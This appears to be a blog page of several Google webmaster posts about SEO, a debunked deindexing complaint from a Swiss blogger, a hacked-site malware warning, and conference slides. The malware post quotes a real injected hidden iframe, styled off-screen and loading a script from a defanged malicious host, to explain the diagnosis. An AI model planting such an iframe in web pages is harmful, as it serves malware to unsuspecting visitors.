What to expect in SEO in the coming months

We just recently taped a new round of webmaster videos, and I thought this video deserved a full-fledged blog post. This is my rough estimate (as of early May 2013) of what search engine optimizers (SEOs) and webmasters should expect in the next few months:

Bear in mind that this is a very rough estimate, because priorities, projects, and timing can change based on a lot of different factors. But I hope this gives folks a ballpark idea of what to expect in the coming months as far as what my team is working on.

Example debunk post

Over the years I’ve written a lot of blog posts to debunk misconceptions or claims that weren’t true. Sometimes I publish the blogs posts but often I don’t. This is a pretty typical example post. Someone claimed that Google was evil for removing a particular domain, when in fact the domain had been removed from Google’s index via a self-service user request to our url removal tool.

When we see misconceptions, we try to figure out where the confusion happened and how to prevent that type of confusion in the future. It’s also safe to assume when you read “Google cancelled my account” stories that there’s usually another side to the story, even if for some reason Google doesn’t go into the details.

My guess is that you haven’t seen this one unless you live in Switzerland. A few months ago, a friend noticed this complaint in Heute Online:

Benbit complaint

My ability to read German is well, practically non-existent except for spammy words. So I asked a friend to translate it for me — thanks, Johanna. :) Here’s roughly what it says:

Search giant kicks Swiss blogger out of the index

“Google is evil after all”

Zurich – On his blog, Benbit* from Zurich often discloses security holes of big companies. This makes him unpopular (see box) – so unpopular that Google kicked him out of the index.

heute: Congratulations, you are one of the first Swiss citizens to be kicked out by Google. Proud?
Benbit: Nowadays, everybody uses Google. So, it is not funny at all if you suddenly disappear completely from the search engine. To me, Google’s motto “Don’t be evil” is not right. Google is evil and misuses its power.

Why did Google delete your site?
I don’t have a clue. I sent emails and registered letters, but no one contacted me to give me reasons for this.

Might it be possible that this is connected to your hacker activities? Didn’t you publish the security holes of many companies on your blog?
I did, but this doesn’t violate Google’s guidelines. I am neither a spammer nor have I been doing illegal search engine optimisation for my blog. My only explanation is that I stepped on the toes of a Google advertising client who in turn complained about me.

Any idea who this might be?
Well, one of the companies that I mentioned on my blog. Among them are also powerful major banks.

As a small blogger, do you have any chance at all against Google?
What Google is doing is a clear case of censorship and violates Switzerland’s federal constitution. I demand from Google to provide me with information about the deletion from the index. Otherwise, I am also considering going to a justice of the peace.
* Name known to the editor. PS: Until our press deadline, Google did not comment.

http://blog.benbit.ch

Okay, let’s pause for a second. At this point in the story, I think we can all agree that Google is 100%, pure, concentrated eeeeeevil. How dare they squash that poor, hapless blogger at benbit.ch?

Except I haven’t told our side of the story. Our side of the story is pretty short: someone from benbit.ch used our automated url removal tool to remove benbit.ch themselves. Now why would someone from benbit.ch remove their own site (multiple times with multiple url patterns over multiple months, I might add), and then lay the blame at Google’s feet? I could speculate, but I genuinely have no idea.

One important thing to mention is that even with a really harsh story like this, we still look for ways to do better. For example, this incident happened in March of 2007 using our “old” url removal tool that had been up for years. In April 2007, the webmaster tools team rolled out a new version of the url removal tool. In my opinion, it kicks butt over the old tool in a couple ways:

1) site owners can easily see the urls that they’ve removed themselves.
2) site owners can easily revoke a url pattern that they’ve entered in the past.

Just to show you what I mean, here’s a snapshot where I’ve removed everything in the http://www.mattcutts.com/files/ directory of my site:

Url removal snapshot

As you can see, I can easily view the removal url patterns that I’ve submitted, and there’s a “Re-include” button if I decide to revoke a removal and start showing the urls again.

My takeaways from this post would be:

- Sometimes people say negative things about Google. Remember that there is often another side to the story.
- Even when people say negative things, folks at Google do listen and look for ways to improve. Case in point: the newer url removal tool resolves a whole class of potential misunderstandings like the one above.
- Google does provide a lot of useful tools for site owners. :)

I’m glad that the webmaster tools team works to make it easier to debug and to fix lots of issues for site owners. If the tool had launched just a month or two earlier, the folks at benbit.ch could have diagnosed their issue themselves — but at least everyone can benefit from the better tool now.

Malware warning

Recently someone on twitter complained that Chrome was labeling their site as malware:

http://Dvorak.org site blocked by Chrome browser after I wrote negative commentary about Google.

I took a few minutes to compose a reply, so I’ll go ahead and post it here:

Just to summarize: Chrome’s warning is correct. Your blog is hacked and injecting a malicious iframe on dvorak.org/blog/ even on error pages.

At the top of the page, the malicious iframe looks like this: <style>.rrfhezo { position:absolute; left:-1012px; top:-681px; }</style> <div class=”rrfhezo”><iframe src=”hxxp://cnsycrdv.organiccrap.com/jquery/get.php?ver=jquery.latest.js” width=”420″ height=”475″></iframe>

I would recommend taking your blog down until you can fix the hack and remove the malware. If you verify dvorak.org at http://google.com/webmasters/ then we’ll show you the details we know about the malicious code.

We’re just the messenger here–this definitely had nothing to do with anything you wrote about Google. In fact, we recently published a website to help site owners recover from a hacked site: http://www.google.com/webmasters/hacked/

Getting hacked truly sucks though. I hope you’re able to get things cleaned up and in good shape. When you think the site is clean, you can file an appeal at http://google.com/webmasters for your hacked site and we’ll rescan it for malware. When it’s clean, we’ll remove the warning in Chrome.

Hope that helps,
Matt Cutts

I hope no one reading this ever gets hacked, but the truth is that some people will. You can reduce the odds of getting hacked by keeping all of your web server software up to date. If you do get hacked, our site at http://www.google.com/webmasters/hacked/ will walk you through the process of cleaning up your site. I know that some site owners are annoyed when Google flags their site as hacked or serving malware, but we’re trying to protect our users as best we can.

PubCon 2012 slides: disavow links tool

I spoke at PubCon 2012 last month in Las Vegas. A couple people have asked for my slides, so here they are:



Several of the slides have links to additional information, in case you’re interested. We announced the disavow links tool during my session so that’s what a lot of the slides are about.

Submit video topics and webmaster questions

I’m planning to record some new webmaster questions next week. I made a Google Moderator page where you can submit topics and vote for different questions.

Please ask your questions in on the Google Moderator page, not in the comments here. When the comments are in Moderator, people can vote them up and down.

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